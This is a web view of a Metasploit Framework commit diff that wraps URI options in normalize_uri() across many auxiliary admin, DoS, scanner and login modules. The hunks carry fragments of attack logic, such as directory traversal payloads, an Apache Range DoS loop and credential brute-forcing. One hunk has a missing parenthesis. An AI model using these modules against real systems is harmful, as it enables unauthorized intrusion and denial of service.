infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Merges and resolves CJR's normalize_uri fixes 

Merge remote-tracking branch 'ChrisJohnRiley/set_normalize_uri_on_modules'
into set_normalize_uri_on_modules

Note that this trips all kinds of msftidy warnings, but that's for another
day.

Conflicts:
	modules/exploits/unix/webapp/tikiwiki_jhot_exec.rb
	modules/exploits/windows/http/xampp_webdav_upload_php.rb
bug/bundler_fix
Tod Beardsley 2013-01-07 11:16:58 -06:00
parent 986435c598 94120604f2
commit 33751c7ce4
178 changed files with 413 additions and 425 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

3
modules/auxiliary/admin/cisco/cisco_secure_acs_bypass.rb
View File

@ -74,8 +74,9 @@ class Metasploit4 < Msf::Auxiliary
print_status("Issuing password change request for: " + datastore['USERNAME'])
begin
uri = normalize_uri(target_uri.path)
res = send_request_cgi({
'uri' => target_uri.path,
'uri' => uri,
'method' => 'POST',
'data' => data,
'headers' =>

2
modules/auxiliary/admin/http/contentkeeper_fileaccess.rb
View File

@ -43,7 +43,7 @@ class Metasploit3 < Msf::Auxiliary
res = send_request_raw(
{
'method' => 'POST',
'uri' => datastore['URL'] + '?-o+' + '/home/httpd/html/' + tmpfile + '+' + datastore['FILE'],
'uri' => normalize_uri(datastore['URL']) + '?-o+' + '/home/httpd/html/' + tmpfile + '+' + datastore['FILE'],
}, 25)
if (res and res.code == 500)

4
modules/auxiliary/admin/http/iis_auth_bypass.rb
View File

@ -43,7 +43,7 @@ class Metasploit3 < Msf::Auxiliary
def has_auth
uri = target_uri.path
uri = normalize_uri(target_uri.path)
uri << '/' if uri[-1, 1] != '/'
res = send_request_cgi({
@ -56,7 +56,7 @@ class Metasploit3 < Msf::Auxiliary
end
def try_auth
uri = target_uri.path
uri = normalize_uri(target_uri.path)
uri << '/' if uri[-1, 1] != '/'
uri << Rex::Text.rand_text_alpha(rand(10)+5) + ".#{Rex::Text.rand_text_alpha(3)}"

2
modules/auxiliary/admin/http/intersil_pass_reset.rb
View File

@ -73,7 +73,7 @@ class Metasploit3 < Msf::Auxiliary
@peer = "#{rhost}:#{rport}"
return if check != Exploit::CheckCode::Vulnerable
uri = target_uri.path
uri = normalize_uri(target_uri.path)
uri << '/' if uri[-1,1] != '/'
res = send_request_cgi({

2
modules/auxiliary/admin/http/jboss_seam_exec.rb
View File

@ -42,7 +42,7 @@ class Metasploit3 < Msf::Auxiliary
end
def run
jbr = datastore['JBOSS_ROOT']
jbr = normalize_uri(datastore['JBOSS_ROOT'])
cmd_enc = ""
cmd_enc << Rex::Text.uri_encode(datastore["CMD"])

3
modules/auxiliary/admin/http/scrutinizer_add_user.rb
View File

@ -45,9 +45,10 @@ class Metasploit3 < Msf::Auxiliary
end
def run
uri = normalize_uri(target_uri.path)
res = send_request_cgi({
'method' => 'POST',
'uri' => target_uri.path,
'uri' => uri,
'vars_post' => {
'tool' => 'userprefs',
'newUser' => datastore['USERNAME'],

4
modules/auxiliary/admin/http/typo3_sa_2009_001.rb
View File

@ -63,6 +63,7 @@ class Metasploit4 < Msf::Auxiliary
# Null byte fixed in PHP 5.3.4
#
uri = normalize_uri(datastore['URI'])
case datastore['RFILE']
when nil
# Nothing
@ -95,8 +96,7 @@ class Metasploit4 < Msf::Auxiliary
juhash = Digest::MD5.hexdigest(juarray)
juhash = juhash[0..9] # shortMD5 value for use as juhash
file_uri = "#{datastore['URI']}/index.php?jumpurl=#{jumpurl}&juSecure=1&locationData=#{locationData}&juHash=#{juhash}"
file_uri = file_uri.sub("//", "/") # Prevent double // from appearing in uri
file_uri = "#{uri}/index.php?jumpurl=#{jumpurl}&juSecure=1&locationData=#{locationData}&juHash=#{juhash}"
vprint_status("Checking Encryption Key [#{i}/1000]: #{final}")
begin

3
modules/auxiliary/admin/tikiwiki/tikidblib.rb
View File

@ -47,7 +47,8 @@ class Metasploit3 < Msf::Auxiliary
def run
print_status("Establishing a connection to the target...")
rpath = datastore['URI'] + "/tiki-lastchanges.php?days=1&offset=0&sort_mode="
uri = normalize_uri(datastore['URI'])
rpath = uri + "/tiki-lastchanges.php?days=1&offset=0&sort_mode="
res = send_request_raw({
'uri' => rpath,

3
modules/auxiliary/admin/webmin/file_disclosure.rb
View File

@ -65,7 +65,8 @@ class Metasploit3 < Msf::Auxiliary
def run
print_status("Attempting to retrieve #{datastore['RPATH']}...")
uri = Rex::Text.uri_encode(datastore['DIR']) + "/..%01" * 40 + Rex::Text.uri_encode(datastore['RPATH'])
dir = normalize_uri(datastore['DIR'])
uri = Rex::Text.uri_encode(dir) + "/..%01" * 40 + Rex::Text.uri_encode(datastore['RPATH'])
res = send_request_raw({
'uri' => uri,

2
modules/auxiliary/dos/http/apache_range_dos.rb
View File

@ -45,7 +45,7 @@ class Metasploit3 < Msf::Auxiliary
end
def run
uri = datastore['URI']
uri = normalize_uri(datastore['URI'])
ranges = ''
for i in (0..1299) do
ranges += ",5-" + i.to_s

2
modules/auxiliary/dos/http/hashcollision_dos.rb
View File

@ -201,7 +201,7 @@ class Metasploit3 < Msf::Auxiliary
print_status("#{rhost}:#{rport} - Sending request ##{x}...")
opts = {
'method' => 'POST',
'uri' => datastore['URL'],
'uri' => normalize_uri(datastore['URL']),
'data' => payload
}
begin

2
modules/auxiliary/dos/http/sonicwall_ssl_format.rb
View File

@ -50,7 +50,7 @@ class Metasploit3 < Msf::Auxiliary
fmt = datastore['FORMAT'] + "XX" # XX is 2 bytes used to mark end of memory garbage for regexp
begin
res = send_request_raw({
'uri' => datastore['URI'] + fmt,
'uri' => normalize_uri(datastore['URI']) + fmt,
})
if res and res.code == 200

2
modules/auxiliary/dos/http/webrick_regex.rb
View File

@ -39,7 +39,7 @@ class Metasploit3 < Msf::Auxiliary
def run
begin
o = {
'uri' => datastore['URI'] || '/',
'uri' => normalize_uri(datastore['URI']) || '/',
'headers' => {
'If-None-Match' => %q{foo=""} + %q{bar="baz" } * 100
}

5
modules/auxiliary/dos/windows/http/ms10_065_ii6_asp_dos.rb
View File

@ -47,7 +47,8 @@ class Metasploit3 < Msf::Auxiliary
def run
print_status("Attacking http://#{datastore['VHOST'] || rhost}:#{rport}#{datastore['URI']}")
uri = normalize_uri(datastore['URI'])
print_status("Attacking http://#{datastore['VHOST'] || rhost}:#{rport}#{uri}")
begin
while(1)
@ -55,7 +56,7 @@ class Metasploit3 < Msf::Auxiliary
connect
payload = "C=A&" * 40000
length = payload.size
sploit = "HEAD #{datastore['URI']} HTTP/1.1\r\n"
sploit = "HEAD #{uri} HTTP/1.1\r\n"
sploit << "Host: #{datastore['VHOST'] || rhost}\r\n"
sploit << "Connection:Close\r\n"
sploit << "Content-Type: application/x-www-form-urlencoded\r\n"

4
modules/auxiliary/fuzzers/http/http_form_field.rb
View File

@ -479,7 +479,7 @@ class Metasploit3 < Msf::Auxiliary
print_status("Grabbing webpage #{datastore['URL']} from #{datastore['RHOST']}")
response = send_request_raw(
{
'uri' => datastore['URL'],
'uri' => normalize_uri(datastore['URL']),
'version' => '1.1',
'method' => 'GET',
'headers' => @get_data_headers
@ -497,7 +497,7 @@ class Metasploit3 < Msf::Auxiliary
response = send_request_raw(
{
'uri' => datastore['URL'],
'uri' => normalize_uri(datastore['URL']),
'version' => '1.1',
'method' => 'GET',
'headers' => @get_data_headers

3
modules/auxiliary/scanner/http/apache_activemq_source_disclosure.rb
View File

@ -47,8 +47,9 @@ class Metasploit3 < Msf::Auxiliary
def run_host(ip)
print_status("#{rhost}:#{rport} - Sending request...")
uri = normalize_uri(target_uri.to_s)
res = send_request_cgi({
'uri' => "/#{target_uri.to_s}",
'uri' => uri,
'method' => 'GET',
})

6
modules/auxiliary/scanner/http/apache_userdir_enum.rb
View File

@ -55,7 +55,8 @@ class Metasploit3 < Msf::Auxiliary
end
def target_url
"http://#{vhost}:#{rport}#{datastore['URI']}"
uri = normalize_uri(datastore['URI'])
"http://#{vhost}:#{rport}#{uri}"
end
def run_host(ip)
@ -83,7 +84,8 @@ class Metasploit3 < Msf::Auxiliary
def do_login(user)
vprint_status("#{target_url}~#{user} - Trying UserDir: '#{user}'")
payload = "#{datastore['URI']}~#{user}/"
uri = normalize_uri(datastore['URI'])
payload = "#{uri}~#{user}/"
begin
res = send_request_cgi(
{

6
modules/auxiliary/scanner/http/atlassian_crowd_fileaccess.rb
View File

@ -57,8 +57,9 @@ class Metasploit4 < Msf::Auxiliary
end
def run_host(ip)
uri = normalize_uri(target_uri.to_s)
res = send_request_cgi({
'uri' => target_uri.to_s,
'uri' => uri,
'method' => 'GET'})
if not res
@ -70,6 +71,7 @@ class Metasploit4 < Msf::Auxiliary
end
def accessfile(rhost)
uri = normalize_uri(target_uri.to_s)
print_status("#{rhost}:#{rport} Connecting to Crowd SOAP Interface")
soapenv = 'http://schemas.xmlsoap.org/soap/envelope/'
@ -121,7 +123,7 @@ class Metasploit4 < Msf::Auxiliary
data << '</soap:attributes>' + "\r\n"
res = send_request_cgi({
'uri' => target_uri.to_s,
'uri' => uri,
'method' => 'POST',
'ctype' => 'text/xml; charset=UTF-8',
'data' => data,

11
modules/auxiliary/scanner/http/axis_local_file_include.rb
View File

@ -42,11 +42,12 @@ class Metasploit3 < Msf::Auxiliary
end
def target_url
"http://#{vhost}:#{rport}#{datastore['URI']}"
uri = normalize_uri(datastore['URI'])
"http://#{vhost}:#{rport}#{uri}"
end
def run_host(ip)
uri = datastore['URI']
uri = normalize_uri(datastore['URI'])
begin
res = send_request_raw({
@ -57,11 +58,11 @@ class Metasploit3 < Msf::Auxiliary
if (res and res.code == 200)
extract_uri = res.body.to_s.match(/\/axis2\/services\/([^\s]+)\?/)
new_uri = "/axis2/services/#{$1}"
new_uri = normalize_uri(new_uri)
get_credentials(new_uri)
else
print_status("#{target_url} - Apache Axis - The remote page not accessible")
print_status("#{uri} - Apache Axis - The remote page not accessible")
return
end
@ -81,7 +82,7 @@ class Metasploit3 < Msf::Auxiliary
'uri' => "#{uri}" + lfi_payload,
}, 25)
print_status("#{target_url} - Apache Axis - Dumping administrative credentials")
print_status("#{uri} - Apache Axis - Dumping administrative credentials")
if (res and res.code == 200)
if res.body.to_s.match(/axisconfig/)

2
modules/auxiliary/scanner/http/backup_file.rb
View File

@ -48,7 +48,7 @@ class Metasploit3 < Msf::Auxiliary
]
bakextensions.each do |ext|
file = datastore['PATH']+ext
file = normalize_uri(datastore['PATH'])+ext
check_for_file(file)
end
if datastore['PATH'] =~ %r#(.*)(/.+$)#

5
modules/auxiliary/scanner/http/barracuda_directory_traversal.rb
View File

@ -46,11 +46,12 @@ class Metasploit3 < Msf::Auxiliary
end
def target_url
"http://#{vhost}:#{rport}#{datastore['URI']}"
uri = normalize_uri(datastore['URI']
"http://#{vhost}:#{rport}#{uri}"
end
def run_host(ip)
uri = datastore['URI']
uri = normalize_uri(datastore['URI'])
file = datastore['FILE']
payload = "?locale=/../../../../../../..#{file}%00"

2
modules/auxiliary/scanner/http/bitweaver_overlay_type_traversal.rb
View File

@ -49,7 +49,7 @@ class Metasploit3 < Msf::Auxiliary
def run_host(ip)
base = target_uri.path
base = normalize_uri(target_uri.path)
base << '/' if base[-1,1] != '/'
peer = "#{ip}:#{rport}"

12
modules/auxiliary/scanner/http/blind_sql_query.rb
View File

@ -136,7 +136,7 @@ class Metasploit3 < Msf::Auxiliary
#SEND NORMAL REQUEST
begin
normalres = send_request_cgi({
'uri' => datastore['PATH'],
'uri' => normalize_uri(datastore['PATH']),
'vars_get' => gvars,
'method' => http_method,
'ctype' => 'application/x-www-form-urlencoded',
@ -184,7 +184,7 @@ class Metasploit3 < Msf::Auxiliary
begin
trueres = send_request_cgi({
'uri' => datastore['PATH'],
'uri' => normalize_uri(datastore['PATH']),
'vars_get' => testgvars,
'method' => http_method,
'ctype' => 'application/x-www-form-urlencoded',
@ -201,7 +201,7 @@ class Metasploit3 < Msf::Auxiliary
begin
falseres = send_request_cgi({
'uri' => datastore['PATH'],
'uri' => normalize_uri(datastore['PATH']),
'vars_get' => testgvars,
'method' => http_method,
'ctype' => 'application/x-www-form-urlencoded',
@ -231,7 +231,7 @@ class Metasploit3 < Msf::Auxiliary
:port => rport,
:vhost => vhost,
:ssl => ssl,
:path => datastore['PATH'],
:path => normalize_uri(datastore['PATH']),
:method => http_method,
:pname => key,
:proof => "blind sql inj.",
@ -267,7 +267,7 @@ class Metasploit3 < Msf::Auxiliary
begin
trueres = send_request_cgi({
'uri' => datastore['PATH'],
'uri' => normalize_uri(datastore['PATH']),
'vars_get' => gvars,
'method' => http_method,
'ctype' => 'application/x-www-form-urlencoded',
@ -292,7 +292,7 @@ class Metasploit3 < Msf::Auxiliary
begin
falseres = send_request_cgi({
'uri' => datastore['PATH'],
'uri' => normalize_uri(datastore['PATH']),
'vars_get' => gvars,
'method' => http_method,
'ctype' => 'application/x-www-form-urlencoded',

2
modules/auxiliary/scanner/http/brute_dirs.rb
View File

@ -54,7 +54,7 @@ class Metasploit3 < Msf::Auxiliary
conn = false
tpath = datastore['PATH']
tpath = normalize_uri(datastore['PATH'])
if tpath[-1,1] != '/'
tpath += '/'
end

2
modules/auxiliary/scanner/http/clansphere_traversal.rb
View File

@ -45,7 +45,7 @@ class Metasploit3 < Msf::Auxiliary
def run_host(ip)
base = target_uri.path
base = normalize_uri(target_uri.path)
base << '/' if base[-1,1] != '/'
peer = "#{ip}:#{rport}"

2
modules/auxiliary/scanner/http/coldfusion_locale_traversal.rb
View File

@ -52,7 +52,7 @@ class Metasploit3 < Msf::Auxiliary
def run_host(ip)
url = datastore['URL']
url = normalize_uri(datastore['URL'])
locale = "?locale="
trav = datastore['PATH']

7
modules/auxiliary/scanner/http/concrete5_member_list.rb
View File

@ -44,12 +44,7 @@ class Metasploit4 < Msf::Auxiliary
end
def run_host(rhost)
# check the only one forward slash appears in the url
if datastore['URI'][0,1] == "/"
url = datastore['URI']
else
url = "/" + datastore['URI']
end
url = normalize_uri(datastore['URI'])
begin
res = send_request_raw({'uri' => "#{url}/index.php/members"})

2
modules/auxiliary/scanner/http/copy_of_file.rb
View File

@ -66,7 +66,7 @@ class Metasploit3 < Msf::Auxiliary
]
tpathf = datastore['PATH']
tpathf = normalize_uri(datastore['PATH'])
testf = tpathf.split('/').last

9
modules/auxiliary/scanner/http/dell_idrac.rb
View File

@ -52,14 +52,16 @@ class Metasploit3 < Msf::Auxiliary
if rport == 443 or ssl
proto = "https"
end
"#{proto}://#{vhost}:#{rport}#{datastore['URI']}"
uri = normalize_uri(datastore['URI'])
"#{proto}://#{vhost}:#{rport}#{uri}"
end
def do_login(user=nil, pass=nil)
uri = normalize_uri(target_uri.path)
auth = send_request_cgi({
'method' => 'POST',
'uri' => target_uri.path,
'uri' => uri,
'SSL' => true,
'vars_post' => {
'user' => user,
@ -87,10 +89,11 @@ class Metasploit3 < Msf::Auxiliary
def run_host(ip)
print_status("Verifying that login page exists at #{ip}")
uri = normalize_uri(target_uri.path)
begin
res = send_request_raw({
'method' => 'GET',
'uri' => target_uri.path
'uri' => uri
})
if (res and res.code == 200 and res.body.to_s.match(/<authResult>1/) != nil)

2
modules/auxiliary/scanner/http/dir_listing.rb
View File

@ -35,7 +35,7 @@ class Metasploit3 < Msf::Auxiliary
def run_host(ip)
tpath = datastore['PATH']
tpath = normalize_uri(datastore['PATH'])
if tpath[-1,1] != '/'
tpath += '/'
end

2
modules/auxiliary/scanner/http/dir_scanner.rb
View File

@ -56,7 +56,7 @@ class Metasploit3 < Msf::Auxiliary
ecode = nil
emesg = nil
tpath = datastore['PATH']
tpath = normalize_uri(datastore['PATH'])
if tpath[-1,1] != '/'
tpath += '/'
end

2
modules/auxiliary/scanner/http/dir_webdav_unicode_bypass.rb
View File

@ -64,7 +64,7 @@ class Metasploit3 < Msf::Auxiliary
ecode = nil
emesg = nil
tpath = datastore['PATH']
tpath = normalize_uri(datastore['PATH'])
if tpath[-1,1] != '/'
tpath += '/'
end

2
modules/auxiliary/scanner/http/dolibarr_login.rb
View File

@ -112,7 +112,7 @@ class Metasploit3 < Msf::Auxiliary
end
def run
@uri = target_uri
@uri = normalize_uri(target_uri)
@uri.path << "/" if @uri.path[-1, 1] != "/"
@peer = "#{rhost}:#{rport}"

6
modules/auxiliary/scanner/http/drupal_views_user_enum.rb
View File

@ -63,12 +63,10 @@ class Metasploit3 < Msf::Auxiliary
def run_host(ip)
# Make sure the URIPATH begins with '/'
if datastore['PATH'][0] != '/'
datastore['PATH'] = '/' + datastore['PATH']
end
datastore['PATH'] = normalize_uri(datastore['PATH'])
# Make sure the URIPATH ends with /
if datastore['PATH'][-1] != '/'
if datastore['PATH'][-1,1] != '/'
datastore['PATH'] = datastore['PATH'] + '/'
end

9
modules/auxiliary/scanner/http/ektron_cms400net.rb
View File

@ -50,10 +50,11 @@ class Metasploit3 < Msf::Auxiliary
proto = "http"
end
uri = normalize_uri(datastore['URI'])
if vhost != ""
"#{proto}://#{vhost}:#{rport}#{datastore['URI'].to_s}"
"#{proto}://#{vhost}:#{rport}#{uri.to_s}"
else
"#{proto}://#{rhost}:#{rport}#{datastore['URI'].to_s}"
"#{proto}://#{rhost}:#{rport}#{uri.to_s}"
end
end
@ -62,7 +63,7 @@ class Metasploit3 < Msf::Auxiliary
res = send_request_cgi(
{
'method' => 'GET',
'uri' => datastore['URI']
'uri' => normalize_uri(datastore['URI'])
}, 20)
#Check for HTTP 200 response.
@ -126,7 +127,7 @@ class Metasploit3 < Msf::Auxiliary
begin
res = send_request_cgi({
'method' => 'POST',
'uri' => datastore['URI'],
'uri' => normalize_uri(datastore['URI']),
'data' => post_data,
}, 20)

8
modules/auxiliary/scanner/http/error_sql_injection.rb
View File

@ -98,7 +98,7 @@ class Metasploit3 < Msf::Auxiliary
if http_method == 'POST'
reqinfo = {
'uri' => datastore['PATH'],
'uri' => normalize_uri(datastore['PATH']),
'query' => datastore['QUERY'],
'data' => datastore['DATA'],
'method' => http_method,
@ -107,7 +107,7 @@ class Metasploit3 < Msf::Auxiliary
}
else
reqinfo = {
'uri' => datastore['PATH'],
'uri' => normalize_uri(datastore['PATH']),
'query' => datastore['QUERY'],
'method' => http_method,
'ctype' => 'application/x-www-form-urlencoded',
@ -201,7 +201,7 @@ class Metasploit3 < Msf::Auxiliary
if http_method == 'POST'
reqinfo = {
'uri' => datastore['PATH'],
'uri' => normalize_uri(datastore['PATH']),
'query' => datastore['QUERY'],
'data' => fstr,
'method' => http_method,
@ -210,7 +210,7 @@ class Metasploit3 < Msf::Auxiliary
}
else
reqinfo = {
'uri' => datastore['PATH'],
'uri' => normalize_uri(datastore['PATH']),
'query' => fstr,
'method' => http_method,
'ctype' => 'application/x-www-form-urlencoded',

2
modules/auxiliary/scanner/http/file_same_name_dir.rb
View File

@ -66,7 +66,7 @@ class Metasploit3 < Msf::Auxiliary
''
]
tpath = datastore['PATH']
tpath = normalize_uri(datastore['PATH'])
if tpath.eql? "/"||""
print_error("Blank or default PATH set.");

2
modules/auxiliary/scanner/http/files_dir.rb
View File

@ -80,7 +80,7 @@ class Metasploit3 < Msf::Auxiliary
conn = false
tpath = datastore['PATH']
tpath = normalize_uri(datastore['PATH'])
if tpath[-1,1] != '/'
tpath += '/'
end

6
modules/auxiliary/scanner/http/glassfish_login.rb
View File

@ -98,8 +98,9 @@ class Metasploit3 < Msf::Auxiliary
headers['Content-Type'] = ctype if ctype != nil
headers['Content-Length'] = data.length if data != nil
uri = normalize_uri(target_uri)
res = send_request_raw({
'uri' => "#{target_uri.path}#{path}".gsub(/\/\//, '/'),
'uri' => "#{uri}#{path}",
'method' => method,
'data' => data,
'headers' => headers,
@ -217,7 +218,8 @@ class Metasploit3 < Msf::Auxiliary
#Get GlassFish version
edition, version, banner = get_version(res)
target_url = "http://#{rhost.to_s}:#{rport.to_s}/#{datastore['PATH'].to_s}"
path = normalize_uri(datastore['PATH'])
target_url = "http://#{rhost.to_s}:#{rport.to_s}/#{path.to_s}"
print_status("#{target_url} - GlassFish - Attempting authentication")
if (version == '2.x' or version == '9.x' or version == '3.0')

2
modules/auxiliary/scanner/http/hp_sitescope_getfileinternal_fileaccess.rb
View File

@ -54,7 +54,7 @@ class Metasploit4 < Msf::Auxiliary
def run_host(ip)
@peer = "#{rhost}:#{rport}"
@uri = target_uri.path
@uri = normalize_uri(target_uri.path)
@uri << '/' if @uri[-1,1] != '/'
print_status("#{@peer} - Connecting to SiteScope SOAP Interface")

2
modules/auxiliary/scanner/http/hp_sitescope_getsitescopeconfiguration.rb
View File

@ -55,7 +55,7 @@ class Metasploit4 < Msf::Auxiliary
def run_host(ip)
@peer = "#{rhost}:#{rport}"
@uri = target_uri.path
@uri = normalize_uri(target_uri.path)
@uri << '/' if @uri[-1,1] != '/'
print_status("#{@peer} - Connecting to SiteScope SOAP Interface")

2
modules/auxiliary/scanner/http/hp_sitescope_loadfilecontent_fileaccess.rb
View File

@ -54,7 +54,7 @@ class Metasploit4 < Msf::Auxiliary
def run_host(ip)
@peer = "#{rhost}:#{rport}"
@uri = target_uri.path
@uri = normalize_uri(target_uri.path)
@uri << '/' if @uri[-1,1] != '/'
print_status("#{@peer} - Connecting to SiteScope SOAP Interface")

5
modules/auxiliary/scanner/http/http_put.rb
View File

@ -119,12 +119,9 @@ class Metasploit4 < Msf::Auxiliary
# Main function for the module, duh!
#
def run_host(ip)
path = datastore['PATH']
path = normalize_uri(datastore['PATH'])
data = datastore['FILEDATA']
#Add "/" if necessary
path = "/#{path}" if path[0,1] != '/'
if path[-1,1] != '/'
path += '/'
end

5
modules/auxiliary/scanner/http/litespeed_source_disclosure.rb
View File

@ -42,11 +42,12 @@ class Metasploit3 < Msf::Auxiliary
end
def target_url
uri = normalize_uri(datastore['URI'])
"http://#{vhost}:#{rport}#{datastore['URI']}"
end
def run_host(ip)
uri = datastore['URI']
uri = normalize_uri(datastore['URI'])
path_save = datastore['PATH_SAVE']
vuln_versions = [
@ -58,7 +59,7 @@ class Metasploit3 < Msf::Auxiliary
begin
res = send_request_raw({
'method' => 'GET',
'uri' => "/#{uri}#{nullbytetxt}",
'uri' => "#{uri}#{nullbytetxt}",
}, 25)
version = res.headers['Server'] if res

2
modules/auxiliary/scanner/http/lucky_punch.rb
View File

@ -81,7 +81,7 @@ EOF
begin
normalres = send_request_cgi({
'uri' => datastore['URI'],
'uri' => normalize_uri(datastore['URI']),
'vars_get' => gvars,
'method' => 'GET',
'ctype' => 'text/plain'

3
modules/auxiliary/scanner/http/majordomo2_directory_traversal.rb
View File

@ -44,6 +44,7 @@ class Metasploit3 < Msf::Auxiliary
end
def target_url
uri = normalize_uri(datastore['URI'])
"http://#{vhost}:#{rport}#{datastore['URI']}"
end
@ -52,7 +53,7 @@ class Metasploit3 < Msf::Auxiliary
'../',
'./.../'
]
uri = datastore['URI']
uri = normalize_uri(datastore['URI'])
file = datastore['FILE']
deep = datastore['DEPTH']
file = file.gsub(/^\//, "")

2
modules/auxiliary/scanner/http/manageengine_securitymanager_traversal.rb
View File

@ -47,7 +47,7 @@ class Metasploit3 < Msf::Auxiliary
def run_host(ip)
base = target_uri.path
base = normalize_uri(target_uri.path)
base << '/' if base[-1,1] != '/'
peer = "#{ip}:#{rport}"

2
modules/auxiliary/scanner/http/mod_negotiation_brute.rb
View File

@ -40,7 +40,7 @@ class Metasploit3 < Msf::Auxiliary
ecode = nil
emesg = nil
tpath = datastore['PATH']
tpath = normalize_uri(datastore['PATH'])
tfile = datastore['FILEPATH']
if tpath[-1,1] != '/'

2
modules/auxiliary/scanner/http/ms09_020_webdav_unicode_bypass.rb
View File

@ -45,7 +45,7 @@ class Metasploit3 < Msf::Auxiliary
end
def run_host(ip)
tpath = datastore['PATH']
tpath = normalize_uri(datastore['PATH'])
if tpath[-1,1] != '/'
tpath += '/'
end

7
modules/auxiliary/scanner/http/nginx_source_disclosure.rb
View File

@ -44,11 +44,12 @@ class Metasploit3 < Msf::Auxiliary
end
def target_url
"http://#{vhost}:#{rport}#{datastore['URI']}"
uri = normalize_uri(datastore['URI'])
"http://#{vhost}:#{rport}#{uri}"
end
def run_host(ip)
uri = datastore['URI']
uri = normalize_uri(datastore['URI'])
path_save = datastore['PATH_SAVE']
vuln_versions = [
@ -68,7 +69,7 @@ class Metasploit3 < Msf::Auxiliary
res = send_request_raw(
{
'method' => 'GET',
'uri' => "/#{uri}#{get_source}",
'uri' => "#{uri}#{get_source}",
}, 25)
if res

2
modules/auxiliary/scanner/http/prev_dir_same_name_file.rb
View File

@ -63,7 +63,7 @@ class Metasploit3 < Msf::Auxiliary
'~'
]
tpath = datastore['PATH']
tpath = normalize_uri(datastore['PATH'])
if tpath.eql? "/"||""
print_error("Blank or default PATH set.");

2
modules/auxiliary/scanner/http/rails_mass_assignment.rb
View File

@ -79,7 +79,7 @@ class Metasploit3 < Msf::Auxiliary
query.merge!(test_param)
resp = send_request_cgi({
'uri' => datastore['PATH'],
'uri' => normalize_uri(datastore['PATH']),
'vars_get' => datastore['METHOD'] == 'POST' ? queryparse(datastore['QUERY'].to_s) : query,
'method' => datastore['METHOD'],
'ctype' => 'application/x-www-form-urlencoded',

2
modules/auxiliary/scanner/http/robots_txt.rb
View File

@ -36,7 +36,7 @@ class Metasploit3 < Msf::Auxiliary
def run_host(target_host)
tpath = datastore['PATH']
tpath = normalize_uri(datastore['PATH'])
if tpath[-1,1] != '/'
tpath += '/'
end

2
modules/auxiliary/scanner/http/s40_traversal.rb
View File

@ -44,7 +44,7 @@ class Metasploit3 < Msf::Auxiliary
end
def run
uri = target_uri.path
uri = normalize_uri(target_uri.path)
uri << '/' if uri[-1, 1] != '/'
t = "/.." * datastore['DEPTH']

2
modules/auxiliary/scanner/http/scraper.rb
View File

@ -37,7 +37,7 @@ class Metasploit3 < Msf::Auxiliary
def run_host(target_host)
tpath = datastore['PATH']
tpath = normalize_uri(datastore['PATH'])
if tpath[-1,1] != '/'
tpath += '/'
end

5
modules/auxiliary/scanner/http/soap_xml.rb
View File

@ -146,10 +146,11 @@ class Metasploit3 < Msf::Auxiliary
data_parts << nil
data = data_parts.join("\r\n")
vprint_status("Sending request #{datastore['PATH']}/#{v}#{n} to #{wmap_target_host}:#{datastore['RPORT']}")
uri = normalize_uri(datastore['PATH'])
vprint_status("Sending request #{uri}/#{v}#{n} to #{wmap_target_host}:#{datastore['RPORT']}")
res = send_request_raw({
'uri' => datastore['PATH'] + '/' + v + n,
'uri' => uri + '/' + v + n,
'method' => 'POST',
'vhost' => vhost,
'data' => data,

3
modules/auxiliary/scanner/http/squiz_matrix_user_enum.rb
View File

@ -49,7 +49,8 @@ class Metasploit3 < Msf::Auxiliary
end
def target_url
"http://#{vhost}:#{rport}#{datastore['URI']}"
uri = normalize_uri(datastore['URI'])
"http://#{vhost}:#{rport}#{uri}"
end
def run_host(ip)

2
modules/auxiliary/scanner/http/svn_scanner.rb
View File

@ -49,7 +49,7 @@ class Metasploit3 < Msf::Auxiliary
ecode = nil
emesg = nil
tpath = datastore['PATH']
tpath = normalize_uri(datastore['PATH'])
if tpath[-1,1] != '/'
tpath += '/'
end

5
modules/auxiliary/scanner/http/tomcat_enum.rb
View File

@ -50,7 +50,8 @@ class Metasploit3 < Msf::Auxiliary
end
def target_url
"http://#{vhost}:#{rport}#{datastore['URI']}"
uri = normalize_uri(datastore['URI'])
"http://#{vhost}:#{rport}#{uri}"
end
def run_host(ip)
@ -80,7 +81,7 @@ class Metasploit3 < Msf::Auxiliary
res = send_request_cgi(
{
'method' => 'POST',
'uri' => datastore['URI'],
'uri' => normalize_uri(datastore['URI']),
'data' => post_data,
}, 20)

19
modules/auxiliary/scanner/http/tomcat_mgr_login.rb
View File

@ -72,18 +72,19 @@ class Metasploit3 < Msf::Auxiliary
def run_host(ip)
begin
uri = normalize_uri(datastore['URI'])
res = send_request_cgi({
'uri' => "#{datastore['URI']}",
'uri' => uri,
'method' => 'GET'
}, 25)
http_fingerprint({ :response => res })
rescue ::Rex::ConnectionError => e
vprint_error("http://#{rhost}:#{rport}#{datastore['URI']} - #{e}")
vprint_error("http://#{rhost}:#{rport}#{uri} - #{e}")
return
end
if not res
vprint_error("http://#{rhost}:#{rport}#{datastore['URI']} - No response")
vprint_error("http://#{rhost}:#{rport}#{uri} - No response")
return
end
if res.code != 401
@ -101,10 +102,10 @@ class Metasploit3 < Msf::Auxiliary
success = false
srvhdr = '?'
user_pass = Rex::Text.encode_base64(user + ":" + pass)
uri = normalize_uri(datastore['URI'])
begin
res = send_request_cgi({
'uri' => "#{datastore['URI']}",
'uri' => uri,
'method' => 'GET',
'headers' =>
{
@ -112,7 +113,7 @@ class Metasploit3 < Msf::Auxiliary
}
}, 25)
unless (res.kind_of? Rex::Proto::Http::Response)
vprint_error("http://#{rhost}:#{rport}#{datastore['URI']} not responding")
vprint_error("http://#{rhost}:#{rport}#{uri} not responding")
return :abort
end
return :abort if (res.code == 404)
@ -126,12 +127,12 @@ class Metasploit3 < Msf::Auxiliary
end
rescue ::Rex::ConnectionError => e
vprint_error("http://#{rhost}:#{rport}#{datastore['URI']} - #{e}")
vprint_error("http://#{rhost}:#{rport}#{uri} - #{e}")
return :abort
end
if success
print_good("http://#{rhost}:#{rport}#{datastore['URI']} [#{srvhdr}] [Tomcat Application Manager] successful login '#{user}' : '#{pass}'")
print_good("http://#{rhost}:#{rport}#{uri} [#{srvhdr}] [Tomcat Application Manager] successful login '#{user}' : '#{pass}'")
report_auth_info(
:host => rhost,
:port => rport,
@ -146,7 +147,7 @@ class Metasploit3 < Msf::Auxiliary
return :next_user
else
vprint_error("http://#{rhost}:#{rport}#{datastore['URI']} [#{srvhdr}] [Tomcat Application Manager] failed to login as '#{user}'")
